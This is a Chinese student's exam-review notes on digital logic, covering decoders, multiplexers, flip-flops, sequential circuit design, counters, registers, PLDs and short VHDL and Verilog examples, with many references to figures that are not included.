这是使用的要点：\n注意LSB和MSB的含义，高有效位在下面，低有效位在上面。\nBCD译码器74LS49\n这就是七段显示管的基本原理：\n有对应的真值表来显示某种数字：\n我们可以实现最小项的输出（理解这里）：\n当xyz对应了函数中的某个输出的时候，我们才会输出。\n注意是对应的位连在一起，然后使用与非门。（本来的输出是非门）\n对于一个全加器，是三个输入和两个输出（输出由最小项之和来组成），那么这也是可以使用译码器来编程的：\n编码器\n编码器和译码器的逻辑就是完全相反的。\n注意只有一个输入端是有效的。\n我们来考察一个8-3编码器：\nI1 = I2 = 1的时候应该就是 0 0 1,重复？\n我们关注一下这个底层逻辑：谁让这些Y成为1？\n下标二进制对应的bit是1的I，和起来做或运算即可。\n优先权编码器 Priority Encoders\n​\t如果同时出现了多个bit是1的情况，必定是有重复的，因为两者的和一定在3个bit的区间之内，这是没有问题的。\n我们设置最高的为最优先的部分。\n处理的逻辑，考察？\nMSI优先权编码器 74LS148\n注意这里的输入和输出都是低位有效！\u0026mdash;》0才是代表有效位表达。\n当高bit有效的时候，低bit就直接不会在进行考虑了。\n三态门 # 可能会考察。\u0026mdash;》概念：又被称为三态门，可以使得多个源数据分时共享一根数据线。并且注意有三种输出的状态。\n三态门、多路收发器和双向收发器\n三态缓冲器\n比如右边的这个器件，左边连接一个译码器，就能对于源数据端进行选通的操作。\n逻辑符号的表达也很简单：\n用这个来构建三态缓冲器：\n也就是等A1-A7都准备好了，当G1和G2都有效的时候，才把这些进行输出。\u0026mdash;》起到了缓冲的作用。\n接下来是一个双向的缓冲器，观察一下图即可：\n当DIR = 1的时候（图画错了，这个“/”在G的前面），A-B的EN端有效，所以从A传送数据到B端。\n数据分配器和多路选择器 # 考点中强调的是多路选择器。\n数据分配器原理和MSI数据多路选择器\n数据分配器\n简单来说就是根据输入的bit，选定一个输出的通道。\n从这个角度来看，类似于译码器：\nG作为EN端，直接决定了是否有有效的输出。\n注意这里考察了。\n多路选择器\nMUX：那么这个器件在使用的逻辑上和译码器就是相反的，从n路，每一路是Bbit的数据源中选择一路来进行输出。\nn输入b位多路选择器。\u0026mdash;》那么显然输出是Bbit。\n所以输出是怎么决定的？\n比如有8组数据，s = 3bit，那么不同的组合就对应不同的组从而输出。0～n-1组中选取进行输出。\n相当于是译码器选通了某一组数据。\n注意：下面这张图片只是说明了某一组中的某一个bit是怎么选取出来的。\nMSI多路选择器及其扩展和应用\n就是简单的选通，非常好明白，注意CBA从高bit到低bit。\n总之扩展就会有很多n输入，bbit的选择器。比如：\n直接根据门电路进行分析即可。\n怎么扩展？\n这样的方式，高2bit通过一个2-4译码器，连接到EN来进行选择哪个器件，而低3bit选择端口输出。\n​\t具有三态输出的多路选择器，当其使能输入无效时，将强制输出端处于高阻抗。有三态输出端的多路选择器的输出端可以直接连接在一起，使得用这种器件可以方便地组成更大的多路选择器 MUX，常用的这种器件有74LS251，74LS253和74LS257等。\n​\t比如74LS251举例子：\n输出端在EN没有打通的时候处于高阻态的状态，可以直接连接在一起。\n采用多级MUX的树形结构\n将多路选择器MUX分级连接，低一级(前一级) MUX的输出作为其高一级(后一级) MUX的数据输入。\n用选择输入信号的低位控制低一级MUX，高位控制高一级MUX各级的使能输入用同一个信号进行控制。\n注意这个树形的逻辑，比如111111,前三个111,使得每个器件的D7都通，最后111选择最后一个器件，这和mod是类似的。\n用多路选择器实现任意组合逻辑函数\n怪不得考察MUX，太多了。\n这里的逻辑就是当我们xyz有对应1输出的时候，这里的选通为1。\n下面这个就是稍微有点技巧性的处理：\n考前可以再看一下。可能会考察关于4选1的系列问题。\n这里会考察，比如8选1实现一个4变量的函数。\n这里要根据卡诺图来看每个位置对应的输出是什么？\n比如D4 = w/x/y，那么图上对应右上角的01,要把这个1包括进去，那么就要和z作\u0026amp;运算，所以D4 = z。\n分两个情况讨论：把xy的所有情况在卡诺图上遍历一遍即可。\n加法器和比较器 # 重点应该是adder。\n加法器\n注意半加器和全加器的基本逻辑：\nn位串行加法器：\u0026mdash;》行波进位\n超前的进位：\n特点：所有进位都是同时产生的，故电路延时时间与位数多少无关。在位数较多时其运算速度比行波加法器的要快得多。\n由两个半加器构成一个全加器：\n两个半加的CO异或生成最终的CO。\n我们来看一个加法器模块：\nBCD加法，那么当大于10的时候，我们就要进位并且进行修改：\n时序逻辑电路 # ​\t重点：时序电路概念、双稳态元件的原理（重点是触发器）、同步时序电路的分析与设计方法、脉冲异步时序电路分析与设计方法、常用时序逻辑器件（计数器、寄存器）。\n​\t就是分析设计方法，触发器，计数器和寄存器的原理。\n基础 # 时序电路概述 # 逻辑电路的特性，时序电路状态\n特性:接收输入信号且产生与输入信号有确定关系的正确且稳定的输出信号。\n状态: 用来反映电路以往输入的情况，称为电路状态。在实际电路中，以二进制的形式表示，其中的每一位都称为一个状态变量。时序电路的状态是状态变量的集合,它在任何时刻的值都包含所有的对确定电路将来行为所必需的过去信息。\u0026mdash;》说的什么东西？看书。\n时序电路的一般结构\n一般形式：\n分为一部分组合电路和存储电路，存储电路和组合电路会进行作用和反作用。\n时序电路的分类\n① 按照引起状态发生变化的原（诱）因可分为：\n同步时序电路：其状态的改变受同一个时钟脉冲的控制，且与时钟脉冲同步。即电路在统一时钟CP/CLK控制下，同步改变状态。在两个时钟脉冲中间，输入信号的变化不会改变电路状态。\u0026mdash;》由系统的CLK同步控制电路。\n异步时序电路：无统一的时钟脉冲使整个系统的工作同步，输入直接引起状态改变。\u0026mdash;》直接由外部控制输入，也就是可以自己控制速度的感觉。\n② 按输入信号x的特性可分为：\n同步时序电路中，输入信号x相对时钟脉冲CP的变化速度而言，如果输入信号x在两个时钟脉冲之间信号完成0 →1→0(或1 →0 →1)两次变化则称为脉冲输入同步时序电路，否则称为电平输入同步时序电路。\n异步时序电路中，输入信号x按照电路研究的目的区分：如果研究的是输入信号x完成0 →1→0(或1 →0 →1)两次变化对电路的影响，则称为脉冲输入异步时序电路，否则称为电平输入异步时序电路。\n即：脉冲输入：在两个时钟脉冲之间信号完成0 →1→0(或1 →0 →1)两次变化后对电路的影响；电平输入：信号完成一次0 →1(或1 →0) 变化对电路的影响。\n在两个时钟信号之间（如两个上升沿之间），我们看输入信号 x 的变化：\n如果 x 在这段时间内是短暂跳变的（即从 0→1 然后马上又变回 0），这种变化我们叫它“脉冲” ⇒ 脉冲输入 如果 x 只改变一次（如从 0 变成 1 然后就一直保持），这叫“电平输入” 📌 总结一句话：在“一个时钟周期内”，\n快速跳变两次 ⇒ 脉冲输入 只变一次或不变 ⇒ 电平输入 如图所示：\n③ 按输出信号的特性可分为：Mealy型时序电路和Moore型时序电路。\n项目 Mealy 型电路 Moore 型电路 输出依赖 当前状态 + 当前输入 仅当前状态 输出变化时机 输入变化时立即改变 仅在状态变化时改变 输出位置 接在**状态转移边（箭头）**上 接在状态结点（圆圈）内 状态数 少，通常更紧凑 多，通常冗余些 延迟反应 无（更快） 有（一个周期） Mealy型电路要考虑当前的输入，并且输入变化的时候立刻发生改变。看表即可。\n状态在边上进行改变：\n状态A —— x=1 / y=0 ——\u0026gt; 状态B ↑ 输入决定输出 Moore型电路，状态在节点上面。\n[状态A] ——x=1——\u0026gt; [状态B] y=0 y=1 时序电路的描述方法\n可以看出来区别，Mealy的输入可以决定不同的输出，但是Moore型的输入就只能决定次态。\n从状态图也能看出来区别：\n时序电路的双稳态元件 # 双稳态元件是构成存储电路的基本模块，通常指锁存器(Latch)或触发器(Flip-flop) 。\n双稳态元件的特点是：\n⑴ 有两个稳定状态，分别表示存储数码（数字、逻辑状态） 0 或 1。 \u0026mdash;》为什么叫双稳态的元件。\n⑵ 在触发（激励）信号作用下，它可从一个稳态翻转到另一个稳态。\n每个双稳态元件可保存一位二进制数，对应一个状态变量。每个双稳态元件有两个互反（补）的输出端 Q 和 /Q， 分别被称为：1 态 (Q = 1，/Q = 0)；0 态 (Q = 0，/Q = 1)。\n触发器或锁存器翻转前的状态称为现态 Qn (Q)，翻转后的状态称为次态 Qn+1。\n锁存器是利用电平信号控制数据的输入；\n触发器是利用脉冲信号或信号的边沿控制数据的输入。 \u0026mdash;》基本都是要用CLK来控制的。\n锁存器包括：不带使能控制的锁存器(输入电平直接影响输出)；\n带使能控制的锁存器(仅当使能输入有效时，其输入才直接影响输出)。\n触发器包括：\n主从结构的脉冲触发器；\n维持阻塞结构的边沿触发器。\nS-R 锁存器（Set-Reset Latche） # 工作原理：注意利用的是或非门。\n通过R和S来进行设置。得到了简化的次态真值表，我们之后画卡诺图，最后得到次态方程即可。\n/S - /R 锁存器(/S - /R Latche) # 只是变成了低有效的使能，并且是与非门。\n带使能端的S-R 锁存器 （S-R latche with enable） # 带一个看是否有效的EN端。\n工作过程也是类似的，只是当C有效的时候才能正常工作。\nD锁存器（ D Latche） # ​\tS-R 锁存器由于能够独立地控制置位端及复位（清除、清零）端，因此，它可应用在根据某些条件“置位”而在另外一些条件下“复位”的场所，但这需要置位、复位二根输入信号线。\n​\t在实际工作中经常需要简单地锁存一位二进制数，这时应用D锁存器保存数据就更方便些。\n其实还是S-R锁存器，但是简化了输入的控制，很方便。而且还有一个EN。\n注意要在EN有效的时候才能进行工作。\n所以锁存器工作原理还是比较简单的。\n边沿触发的D触发器 # ​\tD锁存器要求在控制(时钟)输入C （ CLK ）有效期间内，输入数据D 稳定不变。\n​\t这就给实际使用带来不便。因而提出了边沿触发器需求。边沿触发器是指，只在控制信号的有效边沿(前沿、后沿或称为上升沿、下降沿)时接收数据。\n这是什么东西？\n工作过程：\n也就是说，CLK是SR的门控信号，只有当CLK为高电平的时候，D的输入才会有效。\n我们来分析一下上面这个电路。（考试前可以看看）\n开始，当CLK为0的时候，a，b，c三条线都是1。\n如果D从0变成1,那么6的输出成为0,5的输出成为1。\n那么当CLK上升为1的时候，3的输出为0,4的输出为1，那么此时Q为1。也就是CLK使得Q和D同步了。\n并且此时a，b两条线都变成了0，因为是与非门，相当于a封锁了4的输入，b封锁了5的输入。\n那么如果这个时候，D从1变成0,虽然CLK还是1,但是这个6输出的1没有办法传到SR（被a阻塞了），Q还是保持为1。\n所以a\u0026mdash;》置0阻塞线（D从1变成0的时候会被阻塞） b\u0026mdash;》置1阻塞线 c\u0026mdash;》置0维持线（分析方法类似，阻塞了门6的输入）\n总结一下：\n注意有效沿到达之前和到达之后都应该保持一段时间：\n用verilog设计D触发器：\n主从S-R 触发器（ Master/slave S-R Flip-flop） # 主从触发器由主触发器和从触发器两部分构成。 \u0026mdash;》由两个SR构成\n主从触发器是在脉冲下降沿改变输出：\n即 ① 在触发脉冲CLK作用时间(CLK为高电平期间)，S、R状态的变化将记入主触发器；\n② 在CLK下降沿时间，从触发器接收此时刻的主触发器状态。\n（在高电平期间记录变化，在下降沿接收状态）\n这个实现也很清晰：在高电平期间，主SR有效，记录下来，接着在下降之后，后面的从SR有效，进行输出。\n那么工作的情况也是类似的：\n主从J-K 触发器（Master/slave J-K Flip-flop） # ​\t在主从 S-R 触发器的使用过程中不允许S、R信号同时有效，这给应用带来不便。J-K 触发器利用输出Q及/Q不会同时为1或0这一特性，将输入J、K先分别同/Q及Q “相与” 后再输入到主触发器的S及R输入端，从而保证主触发器的S及R端不会同时有效，见图。\n就只是在主从SR的基础上面加了JK的处理，和Q和/Q做了\u0026amp;运算。\n当JK都是1的时候就会反转：\n根据上面的次态真值表画卡诺图：\n​\t为使触发器稳定工作，要求触发脉冲（clk）的最小宽度大于主触发器的状态转换稳定时间，即大于2个门的传输时间；时间间隔要大于4个门的传输时间。\u0026mdash;》因为SR中有两个门。\n边沿触发J－K 触发器（Edge-triggered JK Flip-flop） # ​\t边沿触发JK触发器类似于D触发器也要求有建立时间和保持时间，但其建立时间较脉冲触发（主从结构）的JK 触发器为短，因此应用更为广泛。\n​\t主从结构的JK触发器要求在时钟脉冲CLK的下降沿到来之前，输入端J、K必须稳定较长时间，以便输入（激励）的变化能传送到主触发器的输出QM及/QM。\nJK触发器常用于同步时序电路中，有时JK触发器的次态逻辑要比D触发器简单，不过大部分时序电路采用的是D触发器。这是由于**D触发器只需一个数据输入端，使得设计出的电路更加简单**。因此，在大多数可编程逻辑器件(PLD)中包含的只有 D触发器。 比如可能会考察怎么用D触发器构成JK触发器。\u0026mdash;》直接由逻辑表达式画图即可。\nT触发器 T Flip-flop # 怎么实现？\n用D实现的时候，简单的将Q和T异或运算然后输入即可。\n无使能控制的 T 触发器 # 这个实现也很简单：\n锁存器是利用电平控制数据的输入；\n触发器是利用脉冲或边沿控制数据的输入。\n锁存器包括：\n不带使能控制的锁存器(输入电平直接影响输出)；\n带使能控制的锁存器(仅当使能输入有效时，其输入才直接影响输出)。\n触发器包括：\n主从结构的脉冲触发器； \u0026mdash;》主从SR 主从JK\n维持阻塞结构的边沿触发器。 \u0026mdash;》D触发器 边沿JK触发器\n同步时序电路的分析设计 # 同步时序电路的分析 # 同步时序电路分析的一般步骤 # 过程比较复杂，我们根据具体的例子来看下。\n（1）列出激励函数及输出函数表达式：\na、激励函数 = G( 输入，现态 )\nb、Mealy型输出函数 = F( 输入，现态 )\tOR\tMoore型输出函数 = F( 现态 )\n（2）根据触发器的次态方程得到各个状态变量的次态方程：\n​\t次态变量 = Q( 输入，现态 )\n（3）根据状态变量的次态方程填写二进制状态表。\n（4）根据输出函数表达式填写输出值，得到二进制状态输出表。\n（5）每一个二进制状态分配一个字母状态名，从而得到字母状态输出表。\n（6）根据状态输出表，画出状态图。\n（7）电路特性描述，确定电路的逻辑功能（很容易漏了这个分析步骤！）。\u0026mdash;》这个电路实际上是什么意思？\n同步时序电路分析举例 # 举例子分析：\n1.激励函数针对于状态存储器，确定激励函数和输出函数。\n2.针对存储器，写出状态变量的次态方程。\n作二进制状态输出表。\n再举一个例子：\n分析过程手写：（可能会出现这样的一道题目）\n同步时序电路的设计 # 同步时序电路设计步骤 # 设计和分析的过程是相反的。\n建立原始状态图和原始状态表——构图法 # 基本方法：\n简单例子，直接根据要求画图：\n状态化简：完全给定与不完全给定同步时序电路状态表的化简 # 完全给定同步时序电路状态表的化简 # 等效的相关概念状态等效定义\u0026mdash;》都是很字面的意思。\n​\t设：S1 和 S2 是完全给定时序电路 M1和 M2 ( M1和 M2可以是同一个电路)的两个状态，作为初态同时加入任意输入序列，所产生的输出序列完全一致，则状态 S1 和 S2 是等效(或等价)的，称 S1和 S2 是等效对，记为 (S1，S2)。在同一电路中等效状态可以合并为一个状态。\n怎么判断是否等效\n条件1： 它们的输出完全相同（identical outputs ）。\n条件2：它们的次态满足下列条件之一：\n① 次态相同\n② 次态交错\n③ 次态维持\n④ 后续状态等效\n⑤ 次态循环\n注意次态交错，就是相同的输入的时候，他们的次态都是对方。\n次态维持就是相同的输入，他们的次态都是自己：\n后续等效就是类似于一种递归的判断等效类的方法：\n这个比较抽象，就是一种循环的递归：\n那么当我们拿到一张表怎么办？\n利用隐含表进行状态化简\n用隐含表手动操作一下这样的化简过程。\n接下来是不完全给定的部分： # 注意：只有在不完全的时候我们会考虑相容类的问题。\n和前面有差异：\u0026mdash;》相对来说比较复杂。\n比如化简这样一个状态表：（没有给定的部分直接当作是相同的）\n分析如下：\n覆盖闭合表就是找不冲突的一个过程，并且尝试覆盖所有的变量。\n并且其中x = 0,以及x = 1的输出都必须在一个已经选定的相容类之中。\n状态分配：相邻状态分配法 # 状态分配就是给最小化状态表中的每个字母状态指定（指派）一个二进制代码来表示，又称为状态编码。\n我们刚才已经化简得到了状态表，现在我们要进行分配一些二进制数字。\n比如说我们来进行一种分配：\n有K个触发器，n种状态，我们怎么计算？\n总共可能的总数：\n真实的数量：\n继续上面的分配，我们一共有两种方案：\n第一种方案：\n第二种方案：\n明显可以看出来第二种更麻烦，那我们怎么处理？显然1都在一起的话是最好的，这样可以形成更大的卡诺圈。\n相邻状态分配法 State Assignment Rules\n​\t思路：尽可能使次态和输出函数在卡诺图上**“1”、“0”单元的分布为相邻**，以便形成较大的卡诺圈，从而得到最简的次态方程（实际上是激励方程，D器件两者能统一）和输出函数表达式。\n规则 I：在相同输入条件下，次态相同，安排现态的编码相邻。\n规则 II：在相邻输入条件下，同一现态，安排次态的编码相邻。\n规则III：输出完全相同，安排现态的编码相邻。（有利于优化输出函数）\n考试之前再看一下这里。\n规则I：在相同输入条件下，次态相同，安排现态的编码相邻。\n在同一个列中，看有多少次次态是相同的，显然右边的图中，一共出现了4次是相同的情况。\n让现态相邻。\n规则II：在相邻的输入条件下，同一现态，安排次态的编码相邻。 \u0026mdash;》这里的相邻和卡诺图是类似的。\n让次态相邻。\n规则III：输出完全相同，安排现态的编码相邻。\n比如这里的BC相邻的话，由于满足了一次，那么改善效果就是2 * 1 * 1 = 4\n那么要注意这里p是组合数量，但是q是位数，q = 1。\n现态相邻。\n那么我们到底怎么分配？我曹！\n做题：\n完成这个状态表的分配：\nK = 2 p = 2 q = 1\n再把规则搞清楚一次：\n三个规则怎么计算？（这里，规则1不考虑输入为“11”的组合）\n激励函数和输出函数的确定 # 这个时候我们很不容易的把二进制状态分配出来了，我们怎么确认函数？\n根据所选择的激励表直接画就可以了。\n（1）触发器类型的选择\n触发器类型的不同将决定电路中激励函数的繁简。\n因此，选择触发器类型的重要条件就是能使激励函数最简。\n在大多数情况下，最常选用的是D触发器，其次是选用JK触发器和T触发器。\n在非计数型的时序电路中，有时可选用SR触发器。在小规模 PLD器件中只包含D触发器。\n大规模PLD中有些型号有其他触发器的。\n激励函数和输出函数的确定\n根据这个二进制状态表。\nD1 = Y1 D0 = Y0对于D触发器，直接和次态是一样的。\n用JK实现，稍微就要看看表了：\n记住JK的激励表。。。\n用T触发器，也是类似的做法。\n电路分析与说明、设计举例 # 举一个简单的例子：\n注意最终的电路图中触发器的CLK端连接CLK！！！\n这块可以做上几个题目，考试应该不会考察过于复杂的情况。\n脉冲异步时序电路的分析设计 # 这里注意概念问题：\n时序电路的分类：按其引起状态发生变化的原因不同而分类。\n同步时序电路受**统一的时钟脉冲信号（CLK）**控制，工作特点为：\n（1）时钟脉冲信号同时到达各记忆器件，促使电路状态发生预期改变。\u0026mdash;》各个触发器连接相同的CLK。\n（2）只有前一个脉冲信号引起的电路响应完全结束后，第二个脉冲信号方能到来。（周期T=最大路径延迟时间+组合险象的消失时间。）\u0026mdash;》两个CLK之间结束变化。\n（3）外部输入信号的变化应满足触发器正常工作所需的建立和保持时间。这些特点简化了电路分析与设计工作。但电路的工作速度的提高受到了限制，且对时钟脉冲信号到达各记忆器件的时间及外部信号的变化有较严格的要求。\n异步时序电路的特点：\n（1）没有统一的同步时钟脉冲，电路状态的改变是由外部输入信号的变化直接引起的。\u0026mdash;》可以不用CLK。\n（2）按输入信号的特征分为：脉冲型与电平型。\n1.脉冲型：输入是脉冲信号，即输入信号的电平变化是**“高-\u0026gt;低-\u0026gt;高”或“低-\u0026gt;高-\u0026gt;低”，且在输入脉冲的一个周期内使电路状态只改变一次。所以分析与设计方法与同步时序类似。**\n差别：异步脉冲电路的特殊规定引起的（对输入进行了限定！）。 \u0026mdash;》一个脉冲改变一次，但是对于输入的值会限定。\n2.电平型：输入是电平信号，即输入信号的电平变化是**“高-\u0026gt;低”或“低-\u0026gt;高”，且在电平变化后的一段时间里，电路可能发生多次状态改变，最后才趋于稳定。因此，输入与输出间存在延迟与竞争现象，设计比较复杂。\u0026mdash;》只有一次电平的变化，但是可能会产生多次改变**。\n也分为Mealy和Moore。\nA.脉冲异步时序电路与同步时序电路的相同点是：\n（1） 存储元件都是触发器/锁存器。 \u0026mdash;》使用器件相同\n（2） 状态的改变都依赖于外部输入（脉冲）信号和电路当前状态。 \u0026mdash;》都依赖与外部和当前状态\nB.脉冲异步时序电路与同步时序电路的差异是：\n⑴ 脉冲异步时序电路无外加的统一的时钟脉冲。 \u0026mdash;》不用CLK\n⑵ 输入变量为脉冲信号，由输入脉冲直接引起电路的状态改变。\n⑶ 由次态逻辑电路产生各触发器控制输入（激励）信号(Y1, Y2 , …,Yr) ,而且还产生时间有先后的各触发器的时钟控制信号(CLK1, CLK2, …,CLKr) 。？？？\nC.脉冲异步时序电路输入信号的限制：\n为了使电路可靠工作，电路状态变化可预知，对脉冲异步时序电路的输入信号作如下规定：\n⑴ 不允许两根或两根以上输入线上同时有输入脉冲信号。\n⑵ 在上一个输入脉冲信号引起的电路状态变化未稳定以前，不允许加入新的输入脉冲信号。\nD.脉冲异步时序电路分析方法:\n​\t可将同步时序电路的分析与设计过程及工具稍作修改直接应用于脉冲异步电路。每个外部输入脉冲信号加入时，电路中所有的触发器均发生从现态到次态的转换。如果其中触发器的时钟端无时钟脉冲，则认为该触发器的次态等于现态。\n分析方法修改：\n脉冲异步时序电路的分析步骤基本上与同步电路一样，仅作以下修改：\n⑴ 输入变量取值为1表示有脉冲信号，取值为 0 表示无脉冲信号。触发器的时钟输入端也按上述规定。\n⑵ 控制函数包括触发器的控制（激励）输入(Y1,Y2 , …,Yn)及触发器的时钟输入 (CLK1, CLK1, …,CLKr) 。\n⑶ 两个或两个以上的输入变量不能同时为1；输入变量全为0时，电路状态不变。\u0026mdash;》这里要注意！\n举一个考试中考过的例子：\n用D触发器设计一个“x1–x1–x2”序列检测器（米勒型）。\n关于CLK和D的关系一定要搞清楚，比较复杂：\n这里也是考试的重点。\n1.扩展的情况，CLK为d\u0026mdash;》D也为d。\n2.x1x2不同时为1\u0026mdash;》CLK为d\u0026mdash;》D也是d。\n3.针对于比如y1,现态和次态之间没有变化（认为⌚没有作用），那么CLK = 0\u0026mdash;》D = d。\n4.如果发生了变化（认为⌚驱动了D触发器），那么CLK = 1\u0026mdash;》D的值就是次态的值（和激励表是一样的）。\n常用的时序逻辑器件 # 重点应该主要是计数器和寄存器。\n计数器 # 主要类型：\n无（不）规则计数器\n有规则计数器：1.升计数器2.降计数器3.升降计数器\n可载入（可置初值）计数器\n计数器类型 n 个触发器的计数模 普通二进制计数器 2^n 环形计数器（Ring） n 扭环计数器（Johnson） 2n 不规则Counter\n就是提前规定好数字了？\narchitecture C1357_arch of C1357 is begin process (CLK,RESET,Q) begin if RESET = \u0026#39;1\u0026#39; then Q \u0026lt;= \u0026#34;001\u0026#34;; elsif CLK\u0026#39;event and CLK = \u0026#39;1\u0026#39; then case Q is when \u0026#34;001\u0026#34; =\u0026gt; Q \u0026lt;= \u0026#34;011\u0026#34;; when \u0026#34;011\u0026#34; =\u0026gt; Q \u0026lt;= \u0026#34;101\u0026#34;; when \u0026#34;101\u0026#34; =\u0026gt; Q \u0026lt;= \u0026#34;111\u0026#34;; when \u0026#34;111\u0026#34; =\u0026gt; Q \u0026lt;= \u0026#34;001\u0026#34;; when others =\u0026gt; Q \u0026lt;= \u0026#34;001\u0026#34;; end case; end if; end process; end C1357_arch; 设计例子 # 步进码\u0026mdash;》4bit能表示八个数字。\n0 0000\n1 0001\n2 0011\n3 0111\n4 1111\n5 1110\n6 1100\n7 1000\n规则计数器\n​\t有规则计数器：指计数器的计数值以连续的方式计数，如1-2-3-4-5…或9-8-7-6-5-4….这种计数器的计数方式一般可以分成升计数器和降计数器。\n例1：设计一个升计数器，其计数范围依顺序为：0-255。\n--*************************** --* 8 Bit UP Counter * --* Filename : counter8 * --*************************** library IEEE; use IEEE.std_logic_1164.all; use IEEE.std_logic_unsigned.all; entity counter8 is port ( CLK: in STD_LOGIC; Q: inout STD_LOGIC_VECTOR (0 to 7); RESET: in STD_LOGIC ); end counter8; architecture counter8_arch of counter8 is begin process (CLK,RESET,Q) begin if RESET = \u0026#39;1\u0026#39; then Q \u0026lt;= \u0026#34;00000000\u0026#34;; elsif CLK\u0026#39;event and CLK = \u0026#39;1\u0026#39; then Q \u0026lt;= Q + 1; end if; end process; end counter8_arch; 3.4的计数器 # 还剩下整整24个小时，此时，任务主要分为三个： 1.计数器和寄存器的内容理解。\n2.语言VHDL和Verilog。\n3.大量刷题。\n“不要浪费时间，但是可以休息。”\n计数器的分类及原理 # 考试填空重点：\n1.按照功能分类：加法计数器，减法计数器，可逆计数器（74LS169,根据UP/DN可以选择加法还是减法）\n2.进位方式：1.串行计数器\u0026mdash;》异步2.并行计数器\u0026mdash;》同步\n3.进位的基数：2进制 10进制 n 个触发器可以构成模 m 的计数器，其中：m ≤ $$2^n$$\n二进制串行计数器： # 直接取反。\n这个就比较直观了，因为只有在上升沿才发生变化。\n怎么用D触发器来实现的？T触发器实现？\n上升沿就是加法计数器，下降沿就是减法计数器（分情况）：\n注意规律：\u0026mdash;》只要记住+1计数器并且是前沿触发的情况就可 CLKi = /Qi-1\n二进制同步计数器 # 这个传递关系是好理解的：\n那么减法也是类似的：\n那么用JK来实现：\n前面的所有项\u0026amp;起来，一起加到JK端，是否让输出反转，只有所有的值都是1的时候才会进行反转的操作。\n用跳越的方法实现任意模数的计数器 # 一般来说会有$$2^n$$但是我只想要m个：\n处理方法：\n强置位计数器 (Resetting)\n​\t设计电路时，先设计一个二进制计数器，然后再加入强置位电路。\n​\t假设起跳状态为Sa，则有： 在没有出现 Sa+1 时，不影响二进制计数器的状态转换规律，强置位的逻辑电平为无效。 在出现 Sa+1时，强置位电平有效，从而对预定的某些位触发器实行预定的“强制置位”或“强制复位”。\u0026mdash;》一拍两跳。\n分析这个例子：\n其实比较简单，当输出为111的时候，Q1端PR设置为1,Q2端CLR，Q3端CLR，就可以直接从001开始。\n提前准备好就跳跃：\n电路图：\nMSI计数器及其应用 # 74LS163\n同步计数器，并且有清零端。\n比如怎么mod11：\n这里会简单的考察怎么设计。\n当输出为1010的时候，就给两个1与非门，然后加载回/LD和/CLR，这样就是mod11。\n这里比如我们置位设置成0101，那么当RCO进位的时候，会直接load DCBA这里的二进制数字，从而mod。\n注意这个余3码计数器的实现：\n开始是0011,就是3,当为1100（12）的时候，开始循环。\n3-12 因为余三码是减去3。\n其余类型的MSI：\n注意UP和/DN\n不想看节拍分配器了。\n寄存器 # 寄存器的分类 # 用于暂时存放二进制代码的逻辑器件称为寄存器。\nreg按照功能可以分为 串行寄存器 并行寄存器 串并行寄存器\n串行及串并行寄存器具有移位功能，通常称为移位寄存器 Shift Registers。\u0026mdash;》带串行就可以移位。\n用处分类：\n1.通用寄存器\u0026mdash;》rax 2.指令寄存器\u0026mdash;》rip 3.地址寄存器\u0026mdash;》rbp（某些基址变址寄存器） 4I/O寄存器？\n并行寄存器：总之就是暂时存放数据。\n74LS374\n和通用总线相连的都是三态器件。\n在⌚信号的CLK有效沿：\n移位寄存器 Shift Registers\n一共有四种结构：\nMSI寄存器及其应用 # 74LS194\n脉冲发生器 # 没时间看了，给了。\n可编程逻辑器件 # 概述 # ​\t第四章：SPLD、CPLD、FPGA的基本原理（仅涉及填空、选择、简答题）、VHDL和Verilog（涉及填空、简答和编程题）。\u0026mdash;》考察重点，时间来不及，我们大概过一下。\n​\tPLD：Programmable Logic Device 可编程逻辑器件。\n​\tPLD 是由半导体工厂制好，不需要为（应用）定制任何掩模，用户可以利用软件开发工具（EDA： Electronics Design Automation ）和编程器设备（也可能只是一根电缆），对芯片功能进行编程（实现具体应用）的大规模集成电路器件。\n​\t分类方法：\n记住上面的。PLA 都可以编程，GAL和PAL输入\u0026amp;阵列可以编程。 ROM输出或阵列可以编程。\n有哪些PLD：PPLD，EPPLD，EEPPLD\n简单可编程逻辑SPLDSimple PLD # ROM Read Only Memory # PLA Programmable Logic Array # PAL Programmable Array Logic # GAL Generic Logic Array # 考察。\n添加了OLMC。\nPLC Programmable Logic Controller # Verilog # 我们会随着上面的过程在这里逐渐学习Verilog的语法：\n​\talways @(*) begin \u0026hellip; end 是 Verilog 硬件描述语言（HDL） 中的一种语法，用于描述组合逻辑，是数字电路设计中非常常见的结构。\n注意，块中用到的信号发生了变化，就要进行重新计算。\nalways：表示一个“过程块”，用来描述硬件行为。\n@(*)：表示敏感列表，即只要块中用到的任意信号发生变化，就重新计算执行\nbegin ... end：表示组合逻辑块的代码段。\n结构 类型 是否需要时钟 用途 always @(*) 组合逻辑 否 解码器、多路选择器、ALU等 always @(posedge clk) 时序逻辑 是 寄存器、计数器、状态机等 所以clk就是控制⌚的问题。\nwire和reg的区别\n类型 wire reg 中文名称 线网类型（导线） 寄存器变量 是否具有存储功能 ❌ 没有，值不能保持 ✅ 有，保存上一个赋值结果 是否可以在 always 块中赋值 ❌ 不可以（只能由 assign 赋值） ✅ 可以（always 或初始块赋值） 是否需要时钟 ❌ 不需要（组合逻辑） ✅ 一般用于时序逻辑（需要 clk） 默认值 无 初始为未知（X） 驱动方式 assign 或其他模块输出 always 或 initial 块中赋值 wire a; always @(*) begin a = b \u0026amp; c; // ❌ 错误：wire 不能在 always 中赋值 end reg a; assign a = b; // ❌ 错误：reg 不能用 assign 连续赋值 注意上面两点的核心区别。\nassign只能给wire类型赋值。\n下面也可以看的很清楚区别。\n怎么写一个4bit加法器，考试考察：\nmodule _4Adder(a, b, cin, sum, cout); //端口类型定义 input[3:0] a, b; input cin; output[3:0] sum; output cout; //数据流描述逻辑电路功能 assign {cout,sum} = a+b+cin; endmodule 关于考试的信息 # 2.先判断最后的符号，然后用绝对值相减。 3.纯小数，和确定机器字长的大小：\n4.注意haming校验的问题：\n卡诺图中为 0 的部分表示：\n逻辑函数在对应输入组合下的输出为 0。\n📌 简要说：\n用于最小化反函数（如 SOP 的反、POS 表达式） 在进行与非实现或反函数化简时，要关注为 0 的区域 💡补充一句（应对考试）：\n如果你要求最小与-或表达式（SOP），就圈 为 1 的部分； 如果你要求最小或-与表达式（POS），就圈 为 0 的部分。\n5.课后2.3\u0026mdash;》考试原题。\n6.易错，看起来好像是有反馈，但是并非时序电路：\n7. 